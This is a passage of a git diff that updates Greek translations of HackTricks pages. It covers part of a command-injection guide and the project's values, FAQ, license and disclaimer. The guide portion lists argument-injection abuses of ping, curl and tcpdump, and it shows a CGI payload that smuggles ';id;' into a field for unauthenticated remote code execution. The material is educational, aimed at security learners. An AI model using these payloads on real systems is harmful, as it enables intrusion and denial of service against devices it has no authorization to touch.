υποστηρίζει το `--` (end-of-options), δοκιμάστε να παρακάμψετε αφελείς mitigations που προθέτουν `--` στο λάθος σημείο. +- Δώστε τιμές που ξεκινούν με `-`/`--` ώστε να καταναλωθούν ως flags από το downstream εργαλείο. +- Καταχραστείτε flags που αλλάζουν τη συμπεριφορά ή γράφουν αρχεία, για παράδειγμα: + - `ping`: `-f`/`-c 100000` για να επιβαρύνετε τη συσκευή (DoS) + - `curl`: `-o /tmp/x` για να γράψετε arbitrary paths, `-K ` για να φορτώσετε attacker-controlled config + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` για να πετύχετε post-rotate execution σε unsafe wrappers +- Αν το πρόγραμμα υποστηρίζει `--` end-of-options, δοκιμάστε να παρακάμψετε naive mitigations που προσθέτουν `--` στο λάθος σημείο. Generic PoC shapes against centralized CGI dispatchers: ``` @@ -171,7 +171,7 @@ topicurl=¶m=-n # Unauthenticated RCE when a handler concatenates into a shell topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -## Brute-Force Detection List +## Λίστα Ανίχνευσης Brute-Force {{#ref}} @@ -183,9 +183,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) -- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) +- [Εξαγωγή κρυπτογραφημένων αρχείων Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [Εγχειρίδιο PHP proc_open](https://www.php.net/manual/en/function.proc-open.php) +- [HTB Nocturnal: IDOR → Command Injection → Root μέσω ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) +- [Unit 42 – TOTOLINK X6000R: Τρεις νέες ευπάθειες](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index a38e2bb55..8b08b7e08 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,57 +1,57 @@ -# HackTricks Αξίες & Συχνές Ερωτήσεις +# HackTricks Αξίες & Συχνές Ερωτήσεις (FAQ) {{#include ../banners/hacktricks-training.md}} -## Αξίες του HackTricks +## HackTricks Αξίες > [!TIP] > Αυτές είναι οι **αξίες του έργου HackTricks**: > -> - Παρέχουμε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟΥΣ hacking** πόρους σε **ΟΛΟ** το Διαδίκτυο. -> - Το hacking αφορά τη μάθηση, και η μάθηση θα πρέπει να είναι όσο το δυνατόν πιο δωρεάν. -> - Ο σκοπός αυτού του βιβλίου είναι να λειτουργεί ως ένας ολοκληρωμένος **εκπαιδευτικός πόρος**. -> - **ΑΠΟΘΗΚΕΥΟΥΜΕ** εκπληκτικές τεχνικές **hacking** που δημοσιεύει η κοινότητα, δίνοντας στους **ΑΡΧΙΚΟΥΣ ΣΥΓΓΡΑΦΕΙΣ** όλη την αναγνώριση. -> - **Δεν θέλουμε την αναγνώριση από άλλους**, θέλουμε απλώς να αποθηκεύουμε ωραία κόλπα για όλους. -> - Επίσης γράφουμε τις **δικές μας έρευνες** στο HackTricks. -> - Σε αρκετές περιπτώσεις θα γράψουμε στο HackTricks μόνο μια **σύνοψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφτεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες. -> - **ΟΡΓΑΝΩΝΟΥΜΕ** όλες τις τεχνικές **hacking** στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΒΑΣΙΜΟ** -> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να **μαθαίνουν πιο γρήγορα** +> - Παρέχουμε **ΔΩΡΕΑΝ** πρόσβαση σε **ΕΚΠΑΙΔΕΥΤΙΚΟ hacking** υλικό σε **ΟΛΟ** το Διαδίκτυο. +> - Το Hacking αφορά τη μάθηση, και η μάθηση πρέπει να είναι όσο το δυνατόν πιο δωρεάν. +> - Σκοπός αυτού του βιβλίου είναι να λειτουργεί ως μια ολοκληρωμένη **εκπαιδευτική πηγή**. +> - **ΑΠΟΘΗΚΕΥΟΥΜΕ** εξαιρετικές **hacking** τεχνικές που η κοινότητα δημοσιεύει, δίνοντας στους **ΑΡΧΙΚΟΥΣ** **ΣΥΓΓΡΑΦΕΙΣ** όλα τα **credits**. +> - **Δεν θέλουμε την αναγνώριση από άλλους ανθρώπους**, απλώς θέλουμε να αποθηκεύσουμε ωραία κόλπα για όλους. +> - Επίσης γράφουμε **τις δικές μας έρευνες** στο HackTricks. +> - Σε πολλές περιπτώσεις θα γράψουμε απλώς **στο HackTricks μια σύνοψη των σημαντικών σημείων** της τεχνικής και θα **ενθαρρύνουμε τον αναγνώστη να επισκεφθεί το αρχικό άρθρο** για περισσότερες λεπτομέρειες. +> - **ΟΡΓΑΝΩΝΟΥΜΕ** όλες τις τεχνικές hacking στο βιβλίο ώστε να είναι **ΠΙΟ ΠΡΟΣΙΤΟ** +> - Η ομάδα HackTricks έχει αφιερώσει χιλιάδες ώρες δωρεάν **μόνο για να οργανώσει το περιεχόμενο** ώστε οι άνθρωποι να μπορούν να **μαθαίνουν πιο γρήγορα**
-## HackTricks faq +## HackTricks Συχνές Ερωτήσεις > [!TIP] > -> - **Σας ευχαριστούμε πολύ για αυτούς τους πόρους, πώς μπορώ να σας ευχαριστήσω;** +> - **Thank you so much for these resources, how can I thank you?** -Μπορείτε να ευχαριστήσετε δημόσια τις ομάδες HackTricks για τη συγκέντρωση όλων αυτών των πόρων με ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Αν είστε ιδιαίτερα ευγνώμονες μπορείτε επίσης να [**υποστηρίξετε το project εδώ**](https://github.com/sponsors/carlospolop).\ -Και μην ξεχάσετε να **δώσετε ένα αστέρι στα projects του Github!** (Βρείτε τους συνδέσμους παρακάτω). +Μπορείτε δημόσια να ευχαριστήσετε τις ομάδες HackTricks για το ότι συγκέντρωσαν όλους αυτούς τους πόρους δημόσια σε ένα tweet αναφέροντας [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ +If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\ +And don't forget to **give a star in the Github projects!** (Find the links below). > [!TIP] > -> - **Πώς μπορώ να συμβάλλω στο έργο;** +> - **How can I contribute to the project?** -Μπορείτε να **μοιραστείτε νέες συμβουλές και κόλπα με την κοινότητα ή να διορθώσετε σφάλματα** που βρίσκετε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες του Github: +Μπορείτε να **μοιραστείτε νέα tips and tricks με την κοινότητα ή να διορθώσετε bugs** που βρείτε στα βιβλία στέλνοντας ένα **Pull Request** στις αντίστοιχες σελίδες στο Github: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Μην ξεχάσετε να **δώσετε ένα αστέρι στα projects του Github!** +Μην ξεχάσετε να **δώσετε ένα star στα projects του Github!** > [!TIP] > -> - **Μπορώ να αντιγράψω περιεχόμενο από το HackTricks και να το βάλω στο blog μου;** +> - **Can I copy some content from HackTricks and put it in my blog?** -Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τον/τους συγκεκριμένο(ούς) σύνδεσμο(ους)** από όπου ελήφθη το περιεχόμενο. +Ναι, μπορείτε, αλλά **μην ξεχάσετε να αναφέρετε τον/τους συγκεκριμένο(ους) σύνδεσμο(ους)** από όπου ελήφθη το περιεχόμενο. > [!TIP] > -> - **Πώς μπορώ να παραπέμψω σε μια σελίδα του HackTricks;** +> - **How can I reference a page of HackTricks?** -Εφόσον εμφανίζεται ο σύνδεσμος της σελίδας/των σελίδων από όπου πήρατε τις πληροφορίες, αυτό είναι αρκετό.\ -Εάν χρειάζεστε bibtex μπορείτε να χρησιμοποιήσετε κάτι σαν: +Αρκεί ο σύνδεσμος **της** σελίδας(ων) από την οποία πήρατε την πληροφορία να εμφανίζεται.\ +If you need a bibtex you can use something like: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, ``` > [!WARNING] > -> - **Μπορώ να αντιγράψω όλα τα HackTricks στο blog μου;** +> - **Can I copy all HackTricks in my blog?** -**Καλύτερα να μην το κάνετε**. Αυτό **δεν πρόκειται να ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη δημόσια διαθέσιμο** στα επίσημα βιβλία HackTricks δωρεάν. +**Προτιμώ να μην το κάνετε**. Αυτό **δεν θα ωφελήσει κανέναν** καθώς όλο το **περιεχόμενο είναι ήδη διαθέσιμο δημόσια** στα επίσημα βιβλία του HackTricks δωρεάν. -Αν φοβάστε ότι θα εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν. +Αν φοβάστε ότι μπορεί να εξαφανιστεί, απλώς κάντε fork στο Github ή κατεβάστε το — όπως είπα, είναι ήδη δωρεάν. > [!WARNING] > -> - **Γιατί έχετε χορηγούς; Είναι τα βιβλία HackTricks για εμπορικούς σκοπούς;** +> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** -Η πρώτη **αξία** των **HackTricks** είναι να προσφέρει **ΔΩΡΕΑΝ** εκπαιδευτικούς πόρους hacking σε **ΟΛΟ** τον κόσμο. Η ομάδα HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **ΔΩΡΕΑΝ**. +Η πρώτη **HackTricks** **αξία** είναι να προσφέρει **FREE** εκπαιδευτικούς πόρους hacking σε **ΟΛΟΚΛΗΡΟ** τον κόσμο. Η ομάδα του HackTricks έχει **αφιερώσει χιλιάδες ώρες** για να προσφέρει αυτό το περιεχόμενο, ξανά, **FREE**. -Αν νομίζετε ότι τα βιβλία HackTricks είναι φτιαγμένα για **εμπορικούς σκοπούς**, είστε **ΑΠΟΛΥΤΩΣ ΛΑΘΟΣ**. +Αν πιστεύετε ότι τα βιβλία του HackTricks γίνονται για **εμπορικούς σκοπούς**, είστε **ΕΝΤΕΛΩΣ ΛΑΘΟΣ**. -Έχουμε χορηγούς επειδή, ακόμα κι αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και σε **σχετικές εταιρείες κυβερνοασφάλειας** να χορηγήσουν το HackTricks και να **έχουμε μερικές διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** πάντα τοποθετημένες σε μέρη όπου γίνονται **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος επικεντρωθεί στο περιεχόμενο. +Έχουμε χορηγούς γιατί, ακόμη και αν όλο το περιεχόμενο είναι FREE, θέλουμε να **δώσουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμεί. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στο HackTricks μέσω του [**Github sponsors**](https://github.com/sponsors/carlospolop), και **σχετικές εταιρείες κυβερνοασφάλειας** να χορηγήσουν το HackTricks και να **έχουμε κάποιες διαφημίσεις** στο βιβλίο, οι οποίες τοποθετούνται πάντα σε σημεία ώστε να είναι **ορατές** αλλά **να μην διαταράσσουν τη μαθησιακή** διαδικασία αν κάποιος επικεντρωθεί στο περιεχόμενο. -Δεν θα βρείτε το HackTricks γεμάτο με ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, επειδή το HackTricks δεν έχει φτιαχτεί για εμπορικούς σκοπούς. +Δεν θα βρείτε το HackTricks γεμάτο ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από το HackTricks, γιατί το HackTricks δεν έχει δημιουργηθεί για εμπορικούς σκοπούς. > [!CAUTION] > -> - **Τι πρέπει να κάνω αν κάποια σελίδα του HackTricks βασίζεται σε ανάρτηση του blog μου αλλά δεν αναφέρεται;** +> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** -**Συγγνώμη. Αυτό δεν έπρεπε να έχει συμβεί**. Παρακαλούμε ενημερώστε μας μέσω Github issues, Twitter, Discord... το σύνδεσμο της σελίδας HackTricks με το περιεχόμενο και το σύνδεσμο του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατόν (ASAP)**. +**Λυπούμαστε πολύ. Αυτό δεν θα έπρεπε να έχει συμβεί**. Παρακαλώ ενημερώστε μας μέσω Github issues, Twitter, Discord... το link της σελίδας HackTricks με το περιεχόμενο και το link του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε το συντομότερο δυνατόν**. > [!CAUTION] > -> - **Τι πρέπει να κάνω αν υπάρχει περιεχόμενο από το blog μου στο HackTricks και δεν το θέλω εκεί;** +> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** -Σημειώστε ότι το να υπάρχουν σύνδεσμοι προς τη σελίδα σας στο HackTricks: +Σημειώστε ότι το να υπάρχουν links προς τη σελίδα σας στο HackTricks: -- Βελτιώνει το **SEO** -- Το περιεχόμενο **μεταφράζεται σε πάνω από 15 γλώσσες**, κάνοντας δυνατό για περισσότερους ανθρώπους να έχουν πρόσβαση σε αυτό το περιεχόμενο -- Το **HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφθούν τη σελίδα σας** (πολλοί άνθρωποι μας έχουν αναφέρει ότι από τη στιγμή που κάποια σελίδα τους είναι στο HackTricks λαμβάνουν περισσότερες επισκέψεις) +- Βελτιώνει το **SEO** σας +- Το περιεχόμενο **μεταφράζεται σε περισσότερες από 15 γλώσσες**, κάνοντας δυνατή την πρόσβαση περισσότερων ανθρώπων σε αυτό το περιεχόμενο +- **Το HackTricks ενθαρρύνει** τους ανθρώπους να **επισκεφθούν τη σελίδα σας** (πολλοί μας έχουν αναφέρει ότι από τη στιγμή που κάποια σελίδα τους είναι στο HackTricks λαμβάνουν περισσότερες επισκέψεις) -Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλά ενημερώστε μας και θα **αφαιρέσουμε οπωσδήποτε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό. +Ωστόσο, αν εξακολουθείτε να θέλετε το περιεχόμενο του blog σας να αφαιρεθεί από το HackTricks, απλώς ενημερώστε μας και σίγουρα θα **αφαιρέσουμε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό. > [!CAUTION] > -> - **Τι πρέπει να κάνω αν βρω αντιγραμμένο περιεχόμενο στο HackTricks;** +> - **What should I do if I find copy-pasted content in HackTricks?** -Πάντα **δίνουμε στους πρωτότυπους συγγραφείς όλες τις πιστώσεις**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα το είτε **αφαιρέσουμε**, είτε **θα προσθέσουμε τον σύνδεσμο πριν το κείμενο**, είτε **θα το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**. +Πάντα **δίνουμε στους πρωτότυπους συγγραφείς όλα τα credits**. Αν βρείτε μια σελίδα με αντιγραμμένο περιεχόμενο χωρίς αναφορά στην πρωτότυπη πηγή, ενημερώστε μας και είτε θα **την αφαιρέσουμε**, είτε θα **προσθέσουμε το link πριν το κείμενο**, είτε θα **την ξαναγράψουμε προσθέτοντας το link**. -## ΑΔΕΙΑ +## Άδεια -Copyright © Όλα τα δικαιώματα διατηρούνται εκτός αν αναφέρεται διαφορετικά. +Copyright © Όλα τα δικαιώματα διατηρούνται εκτός αν ορίζεται διαφορετικά. #### Περίληψη Άδειας: - Αναφορά: Επιτρέπεται να: -- Κοινοποιήσετε — αντιγράψετε και αναδιανείμετε το υλικό σε οποιοδήποτε μέσο ή μορφότυπο. -- Προσαρμόσετε — τροποποιήσετε, μετασχηματίσετε και να αναπτύξετε περαιτέρω το υλικό. +- Κοινοποιήσετε — αντιγράψετε και αναδιανείμετε το υλικό σε οποιοδήποτε μέσο ή μορφή. +- Προσαρμόσετε — αναμείξετε, μετασχηματίσετε και να δημιουργήσετε πάνω στο υλικό. #### Πρόσθετοι Όροι: -- Περιεχόμενο Τρίτων: Μερικά μέρη αυτού του blog/βιβλίου ενδέχεται να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή εκδόσεις. Η χρήση τέτοιου περιεχομένου γίνεται σύμφωνα με τις αρχές της δίκαιης χρήσης (fair use) ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλούμε ανατρέξτε στις αρχικές πηγές για συγκεκριμένες πληροφορίες άδειας σχετικά με περιεχόμενο τρίτων. -- Συγγραφικότητα: Το πρωτότυπο περιεχόμενο που δημιουργήθηκε από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδώσετε αυτό το έργο στον/στην συγγραφέα όταν το κοινοποιείτε ή το προσαρμόζετε. +- Περιεχόμενο τρίτων: Μερικά μέρη αυτού του blog/book μπορεί να περιλαμβάνουν περιεχόμενο από άλλες πηγές, όπως αποσπάσματα από άλλα blogs ή δημοσιεύσεις. Η χρήση τέτοιου περιεχομένου γίνεται υπό τις αρχές της δίκαιης χρήσης ή με ρητή άδεια από τους αντίστοιχους κατόχους πνευματικών δικαιωμάτων. Παρακαλώ ανατρέξτε στις πρωτότυπες πηγές για συγκεκριμένες πληροφορίες αδειοδότησης σχετικά με περιεχόμενο τρίτων. +- Συγγραφικότητα: Το πρωτότυπο περιεχόμενο που έχει συνταχθεί από το HackTricks υπόκειται στους όρους αυτής της άδειας. Σας ενθαρρύνουμε να αποδίδετε αυτό το έργο στον/στους συγγραφέα(-είς) όταν το κοινοποιείτε ή το προσαρμόζετε. #### Εξαιρέσεις: - Εμπορική Χρήση: Για ερωτήματα σχετικά με την εμπορική χρήση αυτού του περιεχομένου, παρακαλώ επικοινωνήστε μαζί μου. -Αυτή η άδεια δεν παρέχει κανένα δικαίωμα εμπορικού σήματος ή branding σε σχέση με το περιεχόμενο. Όλα τα εμπορικά σήματα και το branding που εμφανίζονται σε αυτό το blog/βιβλίο ανήκουν στους αντίστοιχους ιδιοκτήτες τους. +Αυτή η άδεια δεν χορηγεί κανένα δικαίωμα εμπορικού σήματος ή δικαιώματος branding σε σχέση με το περιεχόμενο. Όλα τα εμπορικά σήματα και το branding που εμφανίζονται σε αυτό το blog/book είναι ιδιοκτησία των αντίστοιχων κατόχων τους. -**Με την πρόσβαση ή χρήση του HackTricks, συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Εάν δεν συμφωνείτε με αυτούς τους όρους, παρακαλούμε, μην επισκέπτεστε αυτήν την ιστοσελίδα.** +**Με την πρόσβαση ή τη χρήση του HackTricks, συμφωνείτε να τηρείτε τους όρους αυτής της άδειας. Αν δεν συμφωνείτε με αυτούς τους όρους, παρακαλώ μην επισκέπτεστε αυτόν τον ιστότοπο.** ## **Αποποίηση Ευθυνών** > [!CAUTION] -> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο αυτού του βιβλίου παρέχεται "ως έχει", και οι συγγραφείς και οι εκδότες δεν κάνουν καμία δήλωση ή εγγύηση οποιουδήποτε είδους, ρητή ή σιωπηρή, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εμπιστοσύνη τοποθετείτε σε τέτοιες πληροφορίες γίνεται αυστηρά με δική σας ευθύνη. +> Αυτό το βιβλίο, 'HackTricks,' προορίζεται αποκλειστικά για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο εντός αυτού του βιβλίου παρέχεται «ως έχει», και οι συγγραφείς και οι εκδότες δεν παρέχουν εγγυήσεις ή δηλώσεις οποιουδήποτε είδους, ρητές ή σιωπηρές, σχετικά με την πληρότητα, ακρίβεια, αξιοπιστία, καταλληλότητα ή διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εξάρτηση βασίζετε σε τέτοιες πληροφορίες είναι επομένως αυστηρά με δική σας ευθύνη. > -> Οι συγγραφείς και οι εκδότες δεν ευθύνονται σε καμία περίπτωση για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένων, χωρίς περιορισμό, έμμεσων ή επακόλουθων απωλειών ή ζημιών, ή οποιασδήποτε απώλειας ή ζημίας που προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σχέση με τη χρήση αυτού του βιβλίου. +> Οι συγγραφείς και οι εκδότες σε καμία περίπτωση δεν θα ευθύνονται για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένης χωρίς περιορισμό, έμμεσης ή επακόλουθης απώλειας ή ζημίας, ή οποιασδήποτε απώλειας ή ζημίας προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από ή σε σχέση με τη χρήση αυτού του βιβλίου. > -> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς, και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες δραστηριότητες. Οι συγγραφείς και οι εκδότες δεν εγκρίνουν ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική του/της ευθύνη και κρίση. +> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται για εκπαιδευτικούς και ενημερωτικούς σκοπούς μόνο και δεν πρέπει να χρησιμοποιούνται για οποιεσδήποτε παράνομες ή κακόβουλες ενέργειες. Οι συγγραφείς και οι εκδότες δεν συγκατατίθενται ούτε υποστηρίζουν οποιεσδήποτε παράνομες ή ανήθικες δραστηριότητες, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο γίνεται με δική σας ευθύνη και κρίση. > -> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες γίνονται βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο, και θα πρέπει πάντα να ζητάει επαγγελματικές συμβουλές και βοήθεια όταν προσπαθεί να εφαρμόσει οποιαδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται εδώ. +> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες λαμβάνει βάσει των πληροφοριών που περιέχονται σε αυτό το βιβλίο και θα πρέπει πάντα να αναζητά επαγγελματική συμβουλή και βοήθεια όταν επιχειρεί να εφαρμόσει οποιεσδήποτε από τις τεχνικές ή συμβουλές που περιγράφονται σε αυτό. > -> Χρησιμοποιώντας αυτό το βιβλίο, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και τους εκδότες από οποιαδήποτε και κάθε ευθύνη για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό. +> Με τη χρήση αυτού του βιβλίου, ο χρήστης συμφωνεί να απαλλάσσει τους συγγραφείς και εκδότες από οποιαδήποτε και κάθε ευθύνη και ευθύνη για οποιεσδήποτε ζημίες, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό. {{#include ../banners/hacktricks-training.md}}